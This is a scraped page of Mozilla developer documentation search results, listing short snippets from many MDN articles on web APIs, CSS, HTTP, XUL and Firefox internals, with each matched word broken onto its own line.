...fundamentally, simulating lighting in a virtual scene involves computing how much light
from each light source is received by the eye after interacting with and reflecting off of each object in the scene.
... ambient light ambient light is light that doesn't come
from a defined source, but is just present throughout the scene.
...And 19 more matches
Using the Web Animations API - Web APIs
it is one of the most performant ways to animate on the web, letting the browser make its own internal optimizations without hacks, coercion, or window.requestanimation
frame().
... with the web animations api, we can move interactive animations
from stylesheets to javascript, separating presentation
from behavior.
...and unlike pure, declarative css, javascript also lets us dynamically set values
from properties to durations.
...And 19 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
we're going to introduce sample loading, envelopes, filters, wavetables, and
frequency modulation.
...however, we want to demonstrate how to build such a demo
from first principles, as a learning exercise.
...it is taken
from a repository of wavetables, which can be found in the web audio api examples
from google chrome labs.
...And 19 more matches
Background audio processing using AudioWorklet - Web APIs
it's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly
from being built using webassembly, which brings near-native or fully native performance to web apps.
... create module that defines a audio worklet processor class, based on audioworkletprocessor which takes audio
from one or more incoming sources, performs its operation on the data, and outputs the resulting audio data.
... the example code found on this page is derived
from this working example which is available on glitch.
...And 19 more matches
Audio and video manipulation - Developer guides
video manipulation the ability to read the pixel values
from each
frame of a video can be very useful.
... the general technique is to: write a
frame
from the <video> element to an intermediary <canvas> element.
... read the data
from the intermediary <canvas> element and manipulate it.
...And 19 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources
from a different origin.
... a web application executes a cross-origin http request when it requests a resource that has a different origin (domain, protocol, or port)
from its own.
... an example of a cross-origin request: the
front-end javascript code served
from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json.
...And 19 more matches
Content Security Policy (CSP) - HTTP
these attacks are used for everything
from data theft to site defacement to distribution of malware.
...xss attacks exploit the browser's trust of the content received
from the server.
... malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming
from where it seems to be coming
from.
...And 19 more matches
DataView - JavaScript
dataview.prototype.bytelength the length (in bytes) of this view
from the start of its arraybuffer.
... dataview.prototype.byteoffset the offset (in bytes) of this view
from the start of its arraybuffer.
... instance methods dataview.prototype.getint8() gets a signed 8-bit integer (byte) at the specified byte offset
from the start of the view.
...And 19 more matches
Listening to events in Firefox extensions - Archive of obsolete content
types of events there are multiple types of events that application and extension authors can use to receive notifications
from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them.
...} b.addeventlistener("event", callback, false) where b is the browser or tabbrowser you wish to watch for events
from.
... keep in mind that the events may come
from any
frame within the browser or, for a tabbrowser, any of the browsers within it.
...And 18 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« previousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched
from the web every few minutes.
...or, if you've already got the code
from the creating a status bar extension sample, you can follow this tutorial to update that existing code with new features.
... download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the
front end metadata to describe our new extension.
...And 18 more matches
Introduction to XUL - Archive of obsolete content
preamble mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls in the main window is not hardwired into the application, but loaded
from a separate ui description.
... terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform
front end, because x and c look similar if you beat them long and hard with a hammer.
... the intention is to build cross-platform applications like browsers and mail clients
from a set of tools designed for that purpose.
...And 18 more matches
Using Remote XUL - Archive of obsolete content
xul is often used by desktop applications like mozilla but can also be loaded
from a web server and rendered inside the content pane of a compatible browser.
...after completing the tutorial you should understand how to: create xul documents; serve them
from a web server; use cascading style sheets (css) to change their appearance; use javascript to define their behavior.
...for apache, you can do this by adding the following line to your mime.types file: application/vnd.mozilla.xul+xml .xul alternately, add this line to your httpd.conf file or, if the apache server is configured to allow it, to the .htaccess file in the directory
from which the xul file is served: addtype application/vnd.mozilla.xul+xml .xul then restart your web server.
...And 18 more matches
Introduction to the server side - Learn web development
in this first article, we look at server-side programming
from a high level, answering questions such as "what is it?", "how does it differ
from client-side programming?", and "why it is so useful?".
... objective: to gain familiarity with what server-side programming is, what it can do, and how it differs
from client-side programming.
...when you click a link on a web page, submit a form, or run a search, an http request is sent
from your browser to the target server.
...And 18 more matches
Componentizing our Svelte app - Learn web development
previous overview: client-side javascript
frameworks next in the last article we started developing our todo list app.
... repl to code along with us using the repl, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed
from one or more components.
... inside this file we will declare a filter prop, and then copy the relevant markup over to it
from todos.svelte.
...And 18 more matches
Handling common accessibility problems - Learn web development
you could do this manually by just removing the css
from your code, but the easiest way is to use browser features, for example: firefox: select view > page style > no style
from the main menu.
... safari: select develop > disable styles
from the main menu (to enable the develop menu, choose safari > preferences > advanced > show develop menu in menu bar).
... edge: select view > style > no style
from the main menu.
...And 18 more matches
Application cache implementation overview
loading a top level document
from offline cache this happens in nshttpchannel::opencacheentry().
...it synchronously returns an nsiapplicationcache object representing the most recent cache version
from the most recent cache group containing the entry under the url or a matching namespace.
... if no nsiapplicationcache object has been found, there is no offline cache to load
from and the load continues a usual way by loading
from normal http cache, further steps are not executed.
...And 18 more matches
NSS_3.12_release_notes.html
nss 3.12 libraries have the following versions: sqlite3: 3.3.17 nssckbi: 1.70 softokn3 and
freebl3: 3.12.0.3 other nss libraries: 3.12.0.3 new in nss 3.12 3 new shared library are shipped with nss 3.12: nssutil sqlite nssdbm 1 new include file is shipped with nss3.12: utilrename.h new functions in the nss shared library: cert_checknamespace (see cert.h) cert_encodecertpoliciesextension (see cert.h) cert_encodeinfoaccessextension (see cert.h) cert_encodeinhibitanyextension (see ...
...ert_findcrlentryreasonexten (see cert.h) cert_findcrlnumberexten (see cert.h) cert_findnameconstraintsexten (see cert.h) cert_getclassicocspdisabledpolicy (see cert.h) cert_getclassicocspenabledhardfailurepolicy (see cert.h) cert_getclassicocspenabledsoftfailurepolicy (see cert.h) cert_getpkixverifynistrevocationpolicy (see cert.h) cert_getusepkixforvalidation (see cert.h) cert_getvaliddnspatterns
fromcert (see cert.h) cert_newtempcertificate (see cert.h) cert_setocsptimeout (see certhigh/ocsp.h) cert_setusepkixforvalidation (see cert.h) cert_pkixverifycert (see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_gene...
...cipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_rev_m_do_not_test_using_this_method cert_rev_m_test_using_this_method cert_rev_m_allow_network_fetching cert_rev_m_forbid_network_fetching cert_rev_m_allow_implicit_default_source cert_rev_m_ignore_implicit_default_source cert_rev_m_skip_test_on_missing_source cert_rev_m_require_info_on_missing_source cert_rev_m_ignore_missing_
fresh_info cert_rev_m_fail_on_missing_
fresh_info cert_rev_m_stop_testing_on_
fresh_info cert_rev_m_continue_testing_on_
fresh_info cert_rev_mi_test_each_method_separately cert_rev_mi_test_all_local_information_first cert_rev_mi_no_overall_info_requirement cert_rev_mi_require_some_
fresh_info_available cert_policy_flag_no_mapping cert_policy_flag_explicit cert_policy_flag_no_any cert_enable_ldap_fetch c...
...And 18 more matches
NSS PKCS11 Functions
this was converted
from "chapter 7: pkcs #11 functions".
...secmod_loadusermodule secmod_unloadusermodule secmod_openuserdb secmod_closeuserdb pk11_findcert
fromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc secmod_loadusermodule load a new pkcs #11 module based on a modulespec.
... description secmod_loadusermodule loads a new pkcs #11 module into nss and connects it to the current nss trust in
frastructure.
...And 18 more matches
nsIBrowserHistory
it adds functions used by the basic browser like, marking pages as typed in the url bar, and removing pages as
from the history interface.
... inherits
from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1.
...solete since gecko 22.0 void markpageastyped(in nsiuri auri); obsolete since gecko 22.0 void registeropenpage(in nsiuri auri); obsolete since gecko 9.0 void removeallpages(); void removepage(in nsiuri auri); void removepages([array, size_is(alength)] in nsiuri auris, in unsigned long alength, in boolean adobatchnotify); void removepagesbytime
frame(in long long abegintime, in long long aendtime); void removepages
fromhost(in autf8string ahost, in boolean aentiredomain); void removevisitsbytime
frame(in long long abegintime, in long long aendtime); void unregisteropenpage(in nsiuri auri); obsolete since gecko 9.0 note: the markpageasfollowedlink and markpageastyped methods were moved to nsinavhistoryserv...
...And 18 more matches
nsIFaviconService
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1.
... apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); obsolete since gecko 22.0 void setfavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in prtime aexpiration); obsolete since gecko 22.0 void setfavicondata
fromdataurl(in nsiuri afaviconuri, in astring adataurl, in prtime aexpiration); obsolete since gecko 22.0 void setfaviconurlforpage(in nsiuri apageuri, in nsiuri afaviconuri); obsolete since gecko 22.0 attributes attribute type description defaultfavicon nsiuri the default favicon uri.
... expireallfavicons() expires all known favicons, removing them
from the database.
...And 18 more matches
Debugger.Object - Firefox Developer Tools
(in firefox terminology, privileged code sees the element through an “xray wrapper”.) to ensure that debugger code sees each object just as the debuggee would, each debugger.object instance presents its referent as it would be seen
from a particular compartment.
...as a consequence, a single debugger instance may actually have several debugger.object instances: one for each compartment
from which the referent is viewed.
... debugger.object instances protect their referents
from the garbage collector; as long as the debugger.object instance is live, the referent remains live.
...And 18 more matches
BluetoothCharacteristicProperties - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 56notes disabled notes linux and versions of windows earlier than 10.disabled
from version 56: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 18 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
i have five child items in my container, and i have given the flex properties values so that they can grow and shrink
from a flex-basis of 150 pixels.
...this time we have three 1
fr column tracks.
...order: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); } a simple question to ask yourself when deciding between grid or flexbox is: do i only need to control the layout by row or column – use a flexbox do i need to control the layout by row and column – use a grid content out or layout in?
...And 18 more matches
HTTP caching - HTTP
when a web cache has a requested resource in its store, it intercepts the request and returns its copy instead of re-downloading
from the originating server.
...for example, an isp or your company might have set up a web proxy as part of its local network in
frastructure to serve many users so that popular resources are reused a number of times, reducing network traffic and latency.
... cache-control: private cache-control: public expiration the most important directive here is "max-age=<seconds>" which is the maximum amount of time a resource will be considered
fresh.
...And 18 more matches
Understanding WebAssembly text format - WebAssembly
although the browser compiles it to something more efficient, wasm execution is defined in terms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/
from a stack.
... calling functions
from other functions in the same module the call instruction calls a single function, given its index or name.
...including a separate function statement outside the function, elsewhere in the module in the same manner as we did before, e.g.: (export "getanswerplus1" (func $functionname)) the javascript code to call our above module looks like so: webassembly.instantiatestreaming(fetch('call.wasm')) .then(obj => { console.log(obj.instance.exports.getanswerplus1()); // "43" }); importing functions
from javascript we have already seen javascript calling webassembly functions, but what about webassembly calling javascript functions?
...And 18 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascript code like this: components.utils.import("resource://gre/modules/services.jsm");
from here on out, it is assumed you've imported services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples.
...in overlay extensions, you can place a resource mapping in the chrome.manifest for your add-on and load your own jsm
from resource:// uris.
...however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load jsm
from resource:// uris and just stuck with that forever.
...And 17 more matches
Tabbed browser - Archive of obsolete content
if you need to work with tabs
from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details.
... getting access to the browser
from main window code running in firefox's global chromewindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser.
... // gbrowser is only accessible
from the scope of // the browser window (browser.xul) gbrowser.addtab(...); if gbrowser isn't defined your code is either not running in the scope of the browser window or running too early.
...And 17 more matches
Documentation for BiDi Mozilla - Archive of obsolete content
this is determined in nstext
fragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapcommonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled.
...this method uses the uba to determine the directional properties of the text and reorder
frames if necessary.
... if necessary, text
frames are split so that every
frame has the same directionality.
...And 17 more matches
nsIContentPolicy - Archive of obsolete content
63 introduced gecko 1.0 inherits
from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy.
... type_subdocument 7 indicates a document contained within another document (for example, <i
frame> and <
frame> elements).
... note: gecko uses type_internal_
frame and type_internal_i
frame in order to discern the difference internally.
...And 17 more matches
Implementing controls using the Gamepad API - Game development
it features a case study game — hungry
fridge, created by enclave games.
... the most popular gamepads right now are those
from the xbox 360, xbox one, ps3 and ps4 — they have been heavily tested and work well with the gamepad api implementation in browsers across windows and mac os x.
... case study: hungry
fridge the github game off ii competition ran in november 2013 and enclave games decided to take part in it.
...And 17 more matches
Legacy layout methods - Learn web development
layout and grid systems before css grid layout it may seem surprising to anyone coming
from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...you will however encounter "grid systems" using these legacy methods
from time to time.
... this lesson will explain how grid systems and grid
frameworks based on floats and flexbox work.
...And 17 more matches
Gecko info for Windows accessibility vendors
in total, gecko supports the following window classes: mozillauiwindowclass - root ui window, at the root of the window hierarchy mozillacontentwindowclass -- root document window mozillacontent
framewindowclass - root of a subdocument created by a <
frame> or <i
frame> element mozillahiddenwindowclass - ignore these windows, they are used to help manage other windows mozillawindowclass - general filler window, a catch all starting in firefox 2, however, you should begin switching your code to use navrelation_embeds.
...if it is a content window, you may use accessibleobject
fromwindow() to get the root iaccessible for the content, and begin traversing the tree
from there.
...the method accessibleobject
fromwindow() will get you the root iaccessible corresponding to the top level window.
...And 17 more matches
Debugging on Mac OS X
if you want to debug
from the terminal see debugging mozilla with lldb.
...these builds enable hardened runtime and only differ
from production builds in that they are not notarized which should not otherwise affect functionality, (other than the ability to easily launch the browser on macos 10.15+ -- see quarantine note below).
...try builds use the developer.entitlements.xml file
from the source tree while production builds use production.entitlements.xml.
...And 17 more matches
Embedding the editor
composer embedded in a native application in this application, the <i
frame> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document.
...this type of embedding requires that the composer code is agnostic to where its ui is coming
from; communication between the core editor and the ui needs to go through one or more interfaces that insulate the editor
from its host application.
...current problems the current composer architecture was created while other parts of mozilla were still under development, and as a result it suffers
from a number of shortcomings, and anachronisms.
...And 17 more matches
HTTP Cache
this document only contains what cannot be found or may not be clear directly
from the idl files comments.
... will operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in background purge
frommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
... nsicachestorage //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorage.idl obtained
from call to one of the *storage methods on nsicachestorageservice.
...And 17 more matches
Memory - Plugins
« previousnext » this chapter describes the plug-in api functions that allocate and
free memory as needed by the plug-in.
... npn_memalloc allocates memory
from the browser's memory space.
... npn_mem
free requests that the browser
free a specified block of memory.
...And 17 more matches
Applying styles and colors - Web APIs
note: when you set the strokestyle and/or fillstyle property, the new value becomes the default for all shapes being drawn
from then on.
...the globalalpha property is set at 0.2 which will be used for all shapes
from that point on.
...by increasing the step count and in effect drawing more circles, the background would completely disappear
from the center of the image.
...And 17 more matches
WebXR Device API - Web APIs
the webxr device api implements the core of the webxr feature set, managing the selection of output devices, render the 3d scene to the chosen device at the appropriate
frame rate, and manage motion vectors created using input controllers.
... webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the
frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
... to accomplish these things, the webxr device api provides the following key capabilities: find compatible vr or ar output devices render a 3d scene to the device at an appropriate
frame rate (optionally) mirror the output to a 2d display create vectors representing the movements of input controls at the most basic level, a scene is presented in 3d by computing the perspective to apply to the scene in order to render it
from the viewpoint of each of the user's eyes by computing the position of each eye and rendering the scene
from that position, looking in the direction the user is currently facing.
...And 17 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
at the surface, the subject seems simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting
from a computer screen.
...font size, font style (some fonts are so thin or fancy that they present accessibility problems on their own), background color, the size of the background space around the text, even pixel densities and more all affect how color is delivered
from the screen.
... (see understanding success criterion 1.4.3: contrast) a viewer's distance
from the screen, the ambient background, the health of his eyes, and more all affect how that color is received by the viewer.
...And 17 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
this outline is different
from the border in that it doesn't get space set aside for it in the document (so it may overlap other content).
...this differs
from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).
...color keywords include the standard primary and secondary colors (such as red, blue, or orange), shades of gray (
from black to white, including colors like darkgray and lightgrey), and a variety of other blended colors including lightseagreen, cornflowerblue, and rebeccapurple.
...And 17 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
the html <input> element is used to create interactive controls for web-based forms in order to accept data
from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent.
...line-breaks are automatically removed
from the input value.
...line-breaks are automatically removed
from the input value.
...And 17 more matches
HTTP headers - HTTP
this ensures the coherence of a new
fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.
... vary determines how to match request headers to decide whether a cached response can be used rather than requesting a
fresh one
from the origin server.
...this is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language
from a dropdown).
...And 17 more matches
Elements - Archive of obsolete content
please edit only if an actual behavior differs
from the described one.
...
from several bindings only the last in the sequence will be used (like with any css rule).
...</html:b><children/></content> </binding> <binding id="hello2"> <content><html:b>hello
from my binding!
...And 16 more matches
Complete - Archive of obsolete content
when it is finished, it will get a category and links
from other pages.
...it provides a user interface in two languages (english and
french).
...the problem with this approach is that when changes in an application do make the extension fail, users might have bad experiences ranging
from error messages that they cannot understand to crashes and data loss.
...And 16 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available
from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications
from eavesdropping, tampering, and impersonation attacks.
... nonrepudiation prevents the sender of information
from claiming at a later date that the information was never sent.
... these are the steps shown in figure 4: in response to an authentication request
from the server, the client displays a dialog box requesting the user's name and password for that server.
...And 16 more matches
XForms Custom Controls - Archive of obsolete content
since firefox 4, xbl and xul are disabled by default for all pages not loaded
from a chrome:// url.
... this also includes content loaded
from file:// urls.
...implementation status the
framework we use in the mozilla xforms processor is very much a "work in progress".
...And 16 more matches
Client-side form validation - Learn web development
warning: never trust data passed to your server
from the client.
... if the user tries to send the data, the browser will submit the form, provided there is nothing else stopping it
from doing so (e.g., javascript).
... note: there are several errors that will prevent the form
from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror.
...And 16 more matches
Package management basics - Learn web development
a web project can have any number of dependencies, ranging
from none to many, and your dependencies might include sub-dependencies that you didn't explicitly install — your dependencies may have their own dependencies.
... a project dependency can be an entire javascript library or
framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles.
... we've met npm already, but stepping back
from npm itself, a package manager is a system that will manage your project dependencies.
...And 16 more matches
Obsolete Build Caveats and Tips
therefore, instead of deleting all these nuggets of information, it's best to collect them all here and remove them
from the majority happy path documentation.
... each piece of information should mention the page and the section it originally came
from.
... obsolete caveats and tips
from simple_firefox_build install a version of visual studio that supports c++ development: vs 2012 for windows desktop pro or express (
free), or vc++ 2010 pro or express (
free), or vc++ 2008 pro or express with sp1 (
free) (warning !
...And 16 more matches
DMD
if you wish to trigger dmd dumps
from within c++ or javascript code, you can use nsimemoryinfodumper.dumpmemorytotempdir.
... for example,
from javascript code you can do the following.
...dmd[5222] constructing the stack
frame table...
...And 16 more matches
JIT Optimization Strategies
optimization information is currently collected for the following operations: getproperty (obj.prop) setproperty (obj.prop = val) getelement (obj[elemname]) setelement (obj[elemname] = val) call (func(...)) at each operation site, ionmonkey tries a battery of strategies,
from the most optimized but most restrictive to the least optimized but least restrictive.
...it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can prevent them
from being used, and common ways to enable the engine to utilize that optimization.
...in particular, arguments cannot be returned
from the function, or passed as an argument into calls (except for the apply case above).
...And 16 more matches
nsIAccessibleRole
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) constants constant value description role_nothing 0 used when accessible has no strong defined role.
... role_menubar 2 represents the menu bar (positioned beneath the title bar of a window)
from which menus are selected by the user.
... role_window 9 represents the window
frame, which contains child objects such as a title bar, client, and other objects contained in a window.
...And 16 more matches
nsIWindowMediator
inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most common uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type.
... nsisimpleenumerator getzorderdomwindowenumerator(in wstring awindowtype, in boolean a
fronttoback); nsisimpleenumerator getzorderxulwindowenumerator(in wstring awindowtype, in boolean a
fronttoback); void registerwindow(in nsixulwindow awindow); native code only!
...wlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //this removes this load function
from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { domwindow.alert('tab was selected') ...
...And 16 more matches
Index
the account provisioner gives the user the chance to search for and order a vanity email account
from a list of partner providers.
... so if you use nim, and you use buddy icons, this will just work for
free.
... 20 db views (message lists) mailnews, thunderbird the thread pane (aka message list) is driven by classes that implement nsimsgdbview and inherit
from nsmsgdbview.
...And 16 more matches
Animating CSS properties - Firefox Developer Tools
the performance cost of animating a css property can vary
from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth
frame rate.
... the
frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance problems.
... with css animations you specify a number of key
frames, each of which uses css to define the appearance of the element at a particular stage of the animation.
...And 16 more matches
BluetoothRemoteGATTDescriptor - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 16 more matches
Basic animations - Web APIs
it takes a lot of time to redraw complex
frames and the performance depends highly on the speed of the computer it's running on.
... basic animation steps these are the steps you need to take to draw a
frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn previously.
... save the canvas state if you're changing any setting (such as styles, transformations, etc.) which affect the canvas state and you want to make sure the original state is used each time a
frame is drawn, you need to save that original state.
...And 16 more matches
EffectTiming.fill - Web APIs
for example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during which the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered
frame.
... note that authors are discouraged
from using fill modes to persist the effect of an animation indefinitely.
... element.animate(), and key
frameeffect() accept an object of timing properties including fill.
...And 16 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
perfect negotiation concepts perfect negotiation makes it possible to seamlessly and completely separate the negotiation process
from the rest of your application's logic.
... perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate
from the webrtc connection state: a polite peer, which uses ice rollback to prevent collisions with incoming offers.
... a polite peer, essentially, is one which may send out offers, but then responds if an offer arrives
from the other peer with "okay, never mind, drop my offer and i'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers.
...And 16 more matches
Text labels and names - Accessibility
examples the following example show a simple image map (taken
from h24: providing text alternatives for the area elements of image maps): <img src="welcome.gif" usemap="#map1" alt="areas in the library.
...the caption describes the purpose of the figure in the document, which may be different
from a simple description of a visual item, as provided by the alternative text.
...the alt attribute of the <img> describes the appearance of the image; the <figcaption> describes it
from a functional perspective (in this case, the latin name of the flower in the image).
...And 16 more matches
Using Feature Policy - HTTP
feature policy allows you to control which origins can use which features, both in the top-level page and in embedded
frames.
...for every feature controlled by feature policy, the feature is only enabled in the current document or
frame if its origin matches the allowed list of origins.
... allowlist an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
...And 16 more matches
Authoring MathML - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators
from simple notations, wysiwyg editors and other content management systems to help writing web pages.
... mathematical notations are even more complex with structures like
fractions, square roots or matrices that are likely to require their own tags.
...to use it, just insert one line in your document header: <script src="https://
fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://
fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages).
...And 16 more matches
Content Scripts - Archive of obsolete content
additionally, some sdk user interface components - panel, sidebar,
frame - are specified using html, and use separate scripts to interact with this content.
...to learn about how to interact with the content for a given user interface module, please see the module-specific documentation: panel, sidebar,
frame.
...supplies a url pointing to the file "content-script.js", located in the data subdirectory under the add-on's root directory: // main.js var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("content-script.js") }); // content-script.js document.body.innerhtml = "<h1>page matches ruleset</h1>";
from firefox 34 onwards, you can use "./content-script.js" as an alias for self.data.url("content-script.js").
...And 15 more matches
ui/toolbar - Archive of obsolete content
you can supply three sorts of ui components: action buttons toggle buttons
frames this add-on builds part of the user interface for a music player using action buttons for the controls and a
frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var {
frame } = require("sdk/ui/
frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/p...
...revious.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var
frame = new
frame({ url: "./
frame-player.html" }); var toolbar = toolbar({ title: "player", items: [previous, next, play,
frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
...if you need to customize content for a particular browser window, you can do that by messaging the window-specific
frame hosted by that toolbar.
...And 15 more matches
New Security Model for Web Services - Archive of obsolete content
securing resources
from untrusted scripts behind firewalls introduction this page describes an alternative mechanism which can be used to protect all internal resources against requests
from sandboxed scripts.
... client-controlled solutions several client-controlled solutions have been designed to prevent sandboxed applications loaded behind a firewall
from compromising other resources protected behind the firewall.
... same source restriction by restricting sandboxed scripts to access only resources in the domain
from which they were loaded, any script loaded
from one domain into another is prevented
from accessing resources in the domain into which it has been loaded.
...And 15 more matches
Table Layout Regression Tests - Archive of obsolete content
while the information on the layout debugger is still useful, the testing information is much less relevant now than it has been, as the "rtest" testing
framework described here has been superseded by the reftest
framework.
... select
from the regression-test menu the add new list...entry.
... execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed grep 'failed' selftest.txt (these are false positives, quite
frequently they indicate reflow problems, pages showing differently when loaded
from cache) make your changes to the source, recompile.
...And 15 more matches
Anonymous Content - Archive of obsolete content
an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and this implementation is hidden
from the bound document.
... anonymous content is only generated
from a template if there are insertion points defined within the template for all of the explicit content found underneath the bound element at the time the check for generation is made.
... for example, on the html file upload control, the anonymous textfield can be set up to automatically inherit the value attribute
from the bound element.
...And 15 more matches
